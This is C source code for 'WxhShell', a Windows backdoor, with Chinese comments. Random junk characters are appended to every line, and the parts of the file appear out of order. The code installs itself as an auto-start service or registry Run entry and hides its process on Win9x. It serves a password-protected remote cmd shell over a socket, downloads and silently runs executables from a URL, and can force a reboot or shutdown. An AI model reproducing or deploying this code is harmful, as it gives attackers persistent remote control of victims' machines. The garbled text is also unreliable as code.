    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +8Px` v1L  
    else { q7PRJX  
    closesocket(wsh); V_1#7  
    ExitThread(0); RtW5U8  
    } .>nd@oU  
    break; $tKATL*  
    } D8#q.OR]  
  // 获取shell &Egn`QU  
  case 's': { %7@H7^s}9  
    CmdShell(wsh); j bGH3 L  
    closesocket(wsh); RQ'c~D)X  
    ExitThread(0); dB,#`tc=,  
    break; w:LCm `d  
  } 4>Y\2O?**  
  // 退出 (hV"z;rI  
  case 'x': { %i "  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *Fc&DQT(  
    CloseIt(wsh); @/u`7FO$&  
    break; +UsR  
    } ,TtDCcjd%f  
  // 离开 w +Z};C  
  case 'q': { :y %~9=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S p )}  
    closesocket(wsh); "$'~=' [  
    WSACleanup(); 6K y;1$  
    exit(1); BT1'@qF  
    break; o'4@]ae   
        } 4Qo1f5 >N  
  } B<&_lG0sS  
  } ,+BgY4OY  
&}$D[ 4N  
  // 提示信息 / IS WC   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j)DZmGg&t  
} =arsoCa  
  } MB 5[Js|  
DQICD.X6R  
  return; KEN-G  
} vTEkh0Ys  
%Tb|Yfyr C  
// shell模块句柄 #G=QL(f>/  
int CmdShell(SOCKET sock) {4 d$]o0V  
{ %Eh%mMb^  
STARTUPINFO si; u_"h/)C'H  
ZeroMemory(&si,sizeof(si)); -YyH"f   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r97[!y1gt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3ky+qoe  
PROCESS_INFORMATION ProcessInfo; X&~Eo  
char cmdline[]="cmd"; p4EItRZS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M\6`2q  
  return 0; gc~h!%'.I  
} mlWIq]J  
@/(7kh +  
// 自身启动模式 7qz-RF#s8  
int StartFromService(void) N8q Z{CWn  
{ Umt ia~x=&  
typedef struct kAliCD)  
{ ')-(N um  
  DWORD ExitStatus; 5; [|k$ v  
  DWORD PebBaseAddress; ]+dl=SmF  
  DWORD AffinityMask; t g*[%Jf^  
  DWORD BasePriority; \>`$x:  
  ULONG UniqueProcessId; Av>j+O ;  
  ULONG InheritedFromUniqueProcessId; (NC>[  
}   PROCESS_BASIC_INFORMATION; ,b(S=r  
vxT"BvN  
PROCNTQSIP NtQueryInformationProcess; DOIWhd5:  
3/=QZ8HA&-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jFT V\|C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 26VdRy{[  
2H+DT-hK  
  HANDLE             hProcess; gVJ#LJ  
  PROCESS_BASIC_INFORMATION pbi; `UK+[`E  
Ux T[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MEnHC'nI  
  if(NULL == hInst ) return 0; PEt8,,x<"  
WN/#9]` P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I=y j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %u0;.3Gw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *9ub.:EUwV  
si_ HN{  
  if (!NtQueryInformationProcess) return 0; m=,c,*>  
Q_.c~I}yV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p-r%MnT  
  if(!hProcess) return 0; 5@ +Ei25  
Z*>/@J}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f$|v0Xs  
o>-v?Ug  
  CloseHandle(hProcess); G?d,$NMo|  
0P40K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )9*3^v  
if(hProcess==NULL) return 0; H8]^f=  
%O=V4%"m\  
HMODULE hMod; Z"|P(]A  
char procName[255]; xM//]  
unsigned long cbNeeded; ]N"F?3J 8  
X7d.Ie  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fP1OH&Ar  
sVdK^|j  
  CloseHandle(hProcess); nCMa$+  
z12But\<  
if(strstr(procName,"services")) return 1; // 以服务启动 tq:tY}:4  
%=4ak]As  
  return 0; // 注册表启动 ~)a ;59<$  
} 0s9z @>2  
k)K-mD``U  
// 主模块 c_bVF 'Bz  
int StartWxhshell(LPSTR lpCmdLine) q[OTaSQ~u^  
{ ZHF(q6T  
  SOCKET wsl; iq uTT~  
BOOL val=TRUE; Rw\C0'  
  int port=0; _+ 04M)q0  
  struct sockaddr_in door; }t%>_  
_d| 62VS  
  if(wscfg.ws_autoins) Install(); 1 j^c  
+aw>p_\  
port=atoi(lpCmdLine); wV[V#KpX8-  
k\#-6evT  
if(port<=0) port=wscfg.ws_port; .83v~{n  
MR_bq_)  
  WSADATA data; RjGB#AK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :-\ yy  
%^5@z1d,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >`<2}Me6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fv);5LD  
  door.sin_family = AF_INET; qm}>J^hnB#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +Sd,l>8\  
  door.sin_port = htons(port); _/ }6  
N.{jM[\F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 90qj6.SQ  
closesocket(wsl); V9E6W*IE  
return 1; ;\.JV '  
} pP0Vg'V  
?S&w0}R  
  if(listen(wsl,2) == INVALID_SOCKET) { 6Z7pztk  
closesocket(wsl); TwuX-b  
return 1; (HaKF7Jsi  
} N8XC~Dh{  
  Wxhshell(wsl); j:e^7|.   
  WSACleanup(); \5[D7}  
Sc'c$/  
return 0; pH\^1xj =  
zd9]qo  
} inBPT~y  
&=-e`=qJ'6  
// 以NT服务方式启动 ]`@]<6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *F szGn<  
{ r6n5Jz  
DWORD   status = 0; "@{4.v^}!  
  DWORD   specificError = 0xfffffff; /:y2Up-  
pYfV~Q^3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IypWVr   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vj=Xcn#*8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3@yTzaq6  
  serviceStatus.dwWin32ExitCode     = 0; c3V]'~  
  serviceStatus.dwServiceSpecificExitCode = 0; 2>$F0 M  
  serviceStatus.dwCheckPoint       = 0; ]<q}WjXD'  
  serviceStatus.dwWaitHint       = 0; G*(K UG>  
`.>k)=F&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  L%WME8PB  
  if (hServiceStatusHandle==0) return; afY_9g!\  
8Z dUPW\e  
status = GetLastError(); $,KP]~?  
  if (status!=NO_ERROR) mLg{6qm(q  
{ 2gwZb/'i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o9ctJf=qn  
    serviceStatus.dwCheckPoint       = 0; U=kx`j>  
    serviceStatus.dwWaitHint       = 0; ^`rpf\GX(  
    serviceStatus.dwWin32ExitCode     = status; "]T$\PJun  
    serviceStatus.dwServiceSpecificExitCode = specificError; \TbsoWX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +5HnZ?E\  
    return; V#NG+U.B  
  } m Ztv G,  
T A\4uy6o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ou'~{-_xd  
  serviceStatus.dwCheckPoint       = 0; VT% KN`l  
  serviceStatus.dwWaitHint       = 0; gMs+?SNHAh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '%SR.JL  
} CGC-"A/W  
pcy<2UV  
// 处理NT服务事件,比如:启动、停止 5{13 V*<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <&5m N  
{ yuHZ&e  
switch(fdwControl) X(k{-|9]  
{ KdT[*-  
case SERVICE_CONTROL_STOP: DH:GI1Yu>I  
  serviceStatus.dwWin32ExitCode = 0; GIm " )}W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 46bl>yk9<  
  serviceStatus.dwCheckPoint   = 0; \.H9$C$  
  serviceStatus.dwWaitHint     = 0; g@~!kh,TH  
  { (#!] fF"!x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |5xYT 'V  
  } e Om< !H  
  return; <nWKR,  
case SERVICE_CONTROL_PAUSE: 9 Uha2o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N] 14  
  break; ZfPd0 p  
case SERVICE_CONTROL_CONTINUE: jt{9e:2%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >Mvka;T]  
  break; yiV G ]s  
case SERVICE_CONTROL_INTERROGATE: ~:>AR` 9G  
  break; #:J: YMv  
}; *@_u4T7|{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); keLR1qf  
} Y?yo\(Cdx  
D~#Ei?aH  
// 标准应用程序主函数 %K[daXw6E8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZFS7{:  
{  nbI= r+  
AGOx@;w  
// 获取操作系统版本 I-b_h5ZD6  
OsIsNt=GetOsVer(); VF)uu[ f9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y1{B c<tC  
D ]OD.  
  // 从命令行安装 HA6G)x  
  if(strpbrk(lpCmdLine,"iI")) Install(); . yZm^&  
mxQR4"]jY  
  // 下载执行文件 c $0_R;4/  
if(wscfg.ws_downexe) { P+<BOG|m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^P`NMSw  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,;_rIO"  
} egm)a   
P|e`^Frxt  
if(!OsIsNt) { A1^Ga5 B>  
// 如果时win9x,隐藏进程并且设置为注册表启动 VFv9Q2/.  
HideProc(); |G(1[RNu  
StartWxhshell(lpCmdLine); ?c!:81+\  
} Dv&>*0B  
else qM %O  
  if(StartFromService()) F4Zn5&.)  
  // 以服务方式启动 i+f7  
  StartServiceCtrlDispatcher(DispatchTable); b~7Jh:%@;  
else 1Cm~X$S.  
  // 普通方式启动 s]U4B<q  
  StartWxhshell(lpCmdLine); Q1Ux!$_  
E&*: jDg  
return 0; 'b^l'KN:S  
} Z@3l%p6V  
'>@4(=I  
LP:nba :  
$5,~JYcb  
=========================================== h T<n1q~  
N{8"s&  
v*SAI]{#~  
]q{ PDZ   
BQ#3QL't  
AUfS-  
" #EbGL])F}  
s5l3V2k  
#include <stdio.h> c-kA^z{f  
#include <string.h> GnFs63  
#include <windows.h> B'-I{~'/  
#include <winsock2.h> ~-TOsRvxR  
#include <winsvc.h> 8pXKO"u],  
#include <urlmon.h> kbxg_UI;  
lWWP03er!  
#pragma comment (lib, "Ws2_32.lib") I&Jt> O4  
#pragma comment (lib, "urlmon.lib") &D]p,  
GWsd| kxU  
#define MAX_USER   100 // 最大客户端连接数 {.st`n|xz  
#define BUF_SOCK   200 // sock buffer H}Ucrv:  
#define KEY_BUFF   255 // 输入 buffer  H;NbQ  
q-nER<  
#define REBOOT     0   // 重启 $X \va?(  
#define SHUTDOWN   1   // 关机 ["y6b*;x  
9#7J:PfZ<  
#define DEF_PORT   5000 // 监听端口 zB*euHIqZ  
W|MWXs5'1*  
#define REG_LEN     16   // 注册表键长度 hN   
#define SVC_LEN     80   // NT服务名长度 - v]Qhf&>  
)%mg(O8uL  
// 从dll定义API g5+7p@'fV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }`xdWY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dAc ?O-~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2*[QZ9U[@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~i ,"87$[  
]f8L:=c  
// wxhshell配置信息 ;o0#(xVz  
struct WSCFG { %@?A_jS  
  int ws_port;         // 监听端口 TVaA>]Fv  
  char ws_passstr[REG_LEN]; // 口令 {$d<1y^  
  int ws_autoins;       // 安装标记, 1=yes 0=no y6-XHeU  
  char ws_regname[REG_LEN]; // 注册表键名 Q&CElx?L  
  char ws_svcname[REG_LEN]; // 服务名 gl{B=NN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a 7#J2r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }#1/fok  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~S*b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yb2}_k.JG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C&+6>L@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Fv8f+)k)Z~  
/7D<'MF  
}; }4&/VvN  
P(,?#+]-  
// default Wxhshell configuration w##^}nHOR  
struct WSCFG wscfg={DEF_PORT, nirDMw[  
    "xuhuanlingzhe", A#rh@8h+  
    1, fE]XWA4U  
    "Wxhshell", Zd!U')5/  
    "Wxhshell", =Mj 0:rW  
            "WxhShell Service", =dZHYO^Cv  
    "Wrsky Windows CmdShell Service", D3D}DaEYj  
    "Please Input Your Password: ", uo2'"@[e  
  1, ! zL1;d  
  "http://www.wrsky.com/wxhshell.exe", tF7hFL5f  
  "Wxhshell.exe" tGjhHp8}c  
    }; NBYH;h P  
x|i_P|Z  
// 消息定义模块 k7@t{Cu0D&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; > Lft9e   
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8`=v.   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s@8w-]"  
char *msg_ws_ext="\n\rExit."; -TO\'^][X  
char *msg_ws_end="\n\rQuit."; t~``md4  
char *msg_ws_boot="\n\rReboot..."; 3Fs5RC~a  
char *msg_ws_poff="\n\rShutdown..."; &c>?~-!W  
char *msg_ws_down="\n\rSave to "; / 3!fA=+  
o]ePP,  
char *msg_ws_err="\n\rErr!"; ]fBUT6  
char *msg_ws_ok="\n\rOK!"; :Y P#  
.fAv*pUzU  
char ExeFile[MAX_PATH]; M}O}:1Par  
int nUser = 0; wSEWwU[  
HANDLE handles[MAX_USER]; 0hY{<^"Y  
int OsIsNt; `d\r;cE%lm  
W$0^(FH[  
SERVICE_STATUS       serviceStatus; W3H+.E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~q+hV+fa>  
+s++7<C  
// 函数声明 S >yLqPp  
int Install(void); [sF(#Y:I  
int Uninstall(void); H[ m <RaG8  
int DownloadFile(char *sURL, SOCKET wsh); M|,mr~rRG  
int Boot(int flag); 58 bCUh#uw  
void HideProc(void); @-HG`c ct  
int GetOsVer(void); pav'1d%  
int Wxhshell(SOCKET wsl); mN |r)4{`  
void TalkWithClient(void *cs); FAsFjRS  
int CmdShell(SOCKET sock); - VxDNT}Tr  
int StartFromService(void); zFz10pH  
int StartWxhshell(LPSTR lpCmdLine); >w+HHs/$wK  
wE]K~y!`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q1?&Ev^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k{;,6H  
Q GZyL)Q  
// 数据结构和表定义 !3X0FNGq  
SERVICE_TABLE_ENTRY DispatchTable[] = PjKEC N  
{ [F!Y%Zp  
{wscfg.ws_svcname, NTServiceMain}, w[tmCn+  
{NULL, NULL} U8.7>ENnP&  
}; _>+8og/%@  
]hos+;4p  
// 自我安装 +{<#(}  
int Install(void) ^D%FX!$  
{ ziPR>iz-  
  char svExeFile[MAX_PATH]; YNwp/Y  
  HKEY key; km~Ll   
  strcpy(svExeFile,ExeFile); br-]fE.be  
AN!s{7V3  
// 如果是win9x系统,修改注册表设为自启动 :cB=SYcC%  
if(!OsIsNt) { oVFnl A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;oZ)Wt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %D$]VSP;  
  RegCloseKey(key); 0:w"M<80  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eET&pP3Rp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AIMSX]m  
  RegCloseKey(key); R^?/' dr  
  return 0; Ar*^ ;/  
    } |L2SFB?d=  
  } ?;[w" `"  
} ;OqB5qd  
else { W-NDBP:  
Ym%xx!9  
// 如果是NT以上系统,安装为系统服务 ls@i".[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h8Yx#4  
if (schSCManager!=0) 7 d LuX   
{ #(An6itl  
  SC_HANDLE schService = CreateService IxLhU45  
  ( q9Y9w(  
  schSCManager, ^nbnbU4'  
  wscfg.ws_svcname, `]Q:-h  
  wscfg.ws_svcdisp, V"c 6Kdtd  
  SERVICE_ALL_ACCESS, Z}$TKO*u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )W/;=K  
  SERVICE_AUTO_START, /1Ue?)g  
  SERVICE_ERROR_NORMAL, ck?YI]q|  
  svExeFile, dXF^(y]l  
  NULL, p w8 s8?  
  NULL, ,) J~,^f6  
  NULL, 9IX/wm"  
  NULL, lXcx@#~  
  NULL 3EJt%}V$k  
  ); :VTTh |E%#  
  if (schService!=0) ULMu19>  
  { xJ#d1[kzo  
  CloseServiceHandle(schService); ;4Y%PV z~D  
  CloseServiceHandle(schSCManager); D$t k<{)oB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `BlI@6th  
  strcat(svExeFile,wscfg.ws_svcname); x)(|[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ep)>X@t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bv&;R  
  RegCloseKey(key); +v=C@2T  
  return 0; .l.a(_R  
    } X5 j1`t,  
  } ~l)-wNqR4r  
  CloseServiceHandle(schSCManager); J0@X<Lt U  
} Q~Hy%M%R3  
} tQS5hwm*  
@Y1s$,=xB  
return 1; EK4d_L]I  
} sBcPq SMby  
V4_=<W  
// 自我卸载 vM5k_D  
int Uninstall(void) 6I%5Q4Ll  
{ e)(wss+d7P  
  HKEY key; U&?v:&c#&n  
w@{=nD4p  
if(!OsIsNt) { 'FDef#P<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =weSyZ1~  
  RegDeleteValue(key,wscfg.ws_regname); Uu`9 "  
  RegCloseKey(key); Mnscb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zG(\+4GE!  
  RegDeleteValue(key,wscfg.ws_regname); 2nR[Xh?L  
  RegCloseKey(key);  5~>z h  
  return 0; ZzSz%z_sE  
  } 8uWa=C)  
} 0tXS3+@n =  
} "'t0h{W r8  
else { .>WxDQIo  
abyo4i5T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NuQdSj_>  
if (schSCManager!=0) XT4{Pe7{[P  
{ (L/_^!ZX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x^y'P<ypw  
  if (schService!=0) Eea*s'  
  { v_DedVhe  
  if(DeleteService(schService)!=0) { YB2VcF.LU  
  CloseServiceHandle(schService); JsODzw  
  CloseServiceHandle(schSCManager); ^zQ/mo,Z  
  return 0; `Tv[DIVW  
  } a6uJYhS~  
  CloseServiceHandle(schService); |>dI/_'  
  } =w{Z@S(ukz  
  CloseServiceHandle(schSCManager); ?`PvL!'  
} lE4HM$p   
} _sTROd)Vh  
)8$=C#qC[  
return 1; 'F9jq  
} tM'P m   
=Jyu4j *}  
// 从指定url下载文件 9-fLz?J  
int DownloadFile(char *sURL, SOCKET wsh) Xg;}R:g '  
{ }khV'6"'|  
  HRESULT hr; KV0]m^@x  
char seps[]= "/";  2*^j  
char *token; xD~5UER  
char *file; DK: o]~n  
char myURL[MAX_PATH]; J^Wa8Q;9lX  
char myFILE[MAX_PATH]; [J?aD`{#O  
F^];U+J  
strcpy(myURL,sURL); kY-N>E:  
  token=strtok(myURL,seps); Z/Dx,zIR  
  while(token!=NULL) ;'#8tGv=  
  { woGAf)vV#  
    file=token; t*1fLumXR  
  token=strtok(NULL,seps); 7`DBS^O]dG  
  } $#9;)8J  
.uMn0PE   
GetCurrentDirectory(MAX_PATH,myFILE); e?8FN. q  
strcat(myFILE, "\\"); $Avjnm  
strcat(myFILE, file); z`f($t[  
  send(wsh,myFILE,strlen(myFILE),0); *V8<:OG|e  
send(wsh,"...",3,0); 7o# I,d~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2y;Skp  
  if(hr==S_OK) N_W}*2(  
return 0; 8c9*\S  
else _x(o*v[Pt  
return 1; Ch <[l8;K  
"&G/T ?4  
} Ku5\]  
,9zjFI  
// 系统电源模块 128EPK  
int Boot(int flag) i:Y^{\Z?V  
{ +M\`#i\g>  
  HANDLE hToken; q_A!'sm@)  
  TOKEN_PRIVILEGES tkp; Vt:~q{9*k  
iT gt}]L  
  if(OsIsNt) { OR~8sU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <lx+/o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &8Cu#^3  
    tkp.PrivilegeCount = 1; mwHB(7YS,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $P^q!H4D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S2sQOM@  
if(flag==REBOOT) { N4F.Y"R$(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6xTuNE1  
  return 0; MyJ%`@+1  
} {?}E^5Z*g  
else { 0zmE>/O+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z>:NPZODf  
  return 0; Vc&! OE  
} p6>Svcc  
  } 8lvV4yb  
  else { g+vva"  
if(flag==REBOOT) { gmw|H?]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lo{ E:5q  
  return 0; G|!Tj X7s  
} |"ls\ 7  
else { Yvw(t j5_5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ayR-\mZ  
  return 0; &^ 1$^=  
} +" .X )avF  
} !Xf5e*1IS  
`u3EU*~W  
return 1; BC&S>#\  
} N{9v1`B  
gc_:%ki  
// win9x进程隐藏模块 Gp?a(-K5  
void HideProc(void) [B\h$IcRv  
{ xHv ZV<#  
f phv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #+Ir>GU  
  if ( hKernel != NULL ) #L=x%8B  
  { e$<0 7Oc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ey7 f9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _{I3i:f9X8  
    FreeLibrary(hKernel); +"\sc;6m.  
  } P+@/O  
t<.)Z-Ii  
return; n{n52][J]  
} 36}?dRw#p  
o4G?nvK-  
// 获取操作系统版本 CGW.I$u  
int GetOsVer(void) T*Y~\~Jhu  
{ oK6tTK  
  OSVERSIONINFO winfo; ?GKb7Oj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >)fi^  
  GetVersionEx(&winfo); KKj a/p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SoW9p^HJ  
  return 1; [M]  
  else =upeRY@u5  
  return 0; u^@f&BIG]:  
} X9v.1s,  
> kG GR  
// 客户端句柄模块 '\l"   
int Wxhshell(SOCKET wsl) "jeb%k  
{ Qp)v?k ]  
  SOCKET wsh; Vz~{UHH6  
  struct sockaddr_in client; ?8npG]L)  
  DWORD myID; @'#,D!U  
UdT *E: 6  
  while(nUser<MAX_USER) %a>&5V  
{ g1/:Q%R,  
  int nSize=sizeof(client); l%k\JY-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7OcW C-<  
  if(wsh==INVALID_SOCKET) return 1; q<xCb%#Jl  
[%"|G9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }"nItcp.1  
if(handles[nUser]==0) YqhAZp<  
  closesocket(wsh); 'nzg6^I7g  
else $p1(He0 2  
  nUser++; $ Xv*,Bq  
  } nsu@h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xb|:vr\v  
B]nEkO'a:  
  return 0; CKYc\<zR0l  
} 27eooY1  
Jj; L3S  
// 关闭 socket py$Q  
void CloseIt(SOCKET wsh) z`.<U{5  
{ $t$ShT)  
closesocket(wsh); y;35WtDVb  
nUser--; j+i\bks  
ExitThread(0); X&tF;<m^  
} Ep9nsX*   
;km`P|<U  
// 客户端请求句柄 zJq~!#pZ  
void TalkWithClient(void *cs) Rvqq.I8aC  
{ RD!&LFz/}  
&jS>UsGh  
  SOCKET wsh=(SOCKET)cs; l.67++_  
  char pwd[SVC_LEN]; |XaIx#n  
  char cmd[KEY_BUFF]; 8 }I$'x  
char chr[1]; ~Otq %MQ  
int i,j; #{\J Nb+w%  
h9t$Uz^N  
  while (nUser < MAX_USER) { MU`1LHg  
0at/c-K`  
if(wscfg.ws_passstr) { x>**;#7)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SL Ws*aq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ak7bJ~)X=  
  //ZeroMemory(pwd,KEY_BUFF); hi_NOx  
      i=0; ih58 <Up5  
  while(i<SVC_LEN) { 66g9l9wm(  
S5gyr&dm  
  // 设置超时 Y z<3JRw  
  fd_set FdRead; u0JB\)(-/h  
  struct timeval TimeOut; }zeO]"`  
  FD_ZERO(&FdRead); QmQ=q7  
  FD_SET(wsh,&FdRead); -R|,9o^  
  TimeOut.tv_sec=8; 6hno)kd{=  
  TimeOut.tv_usec=0; AFq~QXmr)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M1k{t%M+S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Kr?TxhUHd  
U\g/2dM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F6|TP.VY_.  
  pwd=chr[0]; 4GkWRu1  
  if(chr[0]==0xd || chr[0]==0xa) { C'>|J9~Gz  
  pwd=0; ()Y~Q(5ji  
  break; z 9vInf@M  
  } G"r1+#  
  i++; JgxtlYjl  
    } \Z?9{J  
R|6Cv3:  
  // 如果是非法用户,关闭 socket M92dZ1+6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "Bh}}!13  
} T-'OwCB1q  
)MtF23k)g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w^\52  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T`9lV2x*P  
.iYJr;9`d  
while(1) { @KXV%a'  
:N:yLd} &  
  ZeroMemory(cmd,KEY_BUFF); KN^=i5K+Y  
qEyyT[:  
      // 自动支持客户端 telnet标准   Z_LFIz*c  
  j=0; ^P[e1?SZG  
  while(j<KEY_BUFF) { g?c xp +  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NN%*b yK  
  cmd[j]=chr[0]; F|IAiE  
  if(chr[0]==0xa || chr[0]==0xd) { lS"T4 5  
  cmd[j]=0; Jf{*PgP  
  break; <ykU6=  
  } E~DQ-z  
  j++; uu-PJTNZ  
    } -"R2  
?j'7l=94A  
  // 下载文件 kDEXN  
  if(strstr(cmd,"http://")) { x,'(5*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I&fozO   
  if(DownloadFile(cmd,wsh)) U&g@.,Y#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $POu\TO  
  else )cW#Rwu_A4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gt\E`HB8E  
  } {dhXIs  
  else { Ryl:a\  
"SNn^p59k  
    switch(cmd[0]) { |'e^QpU5  
  Q{O+  
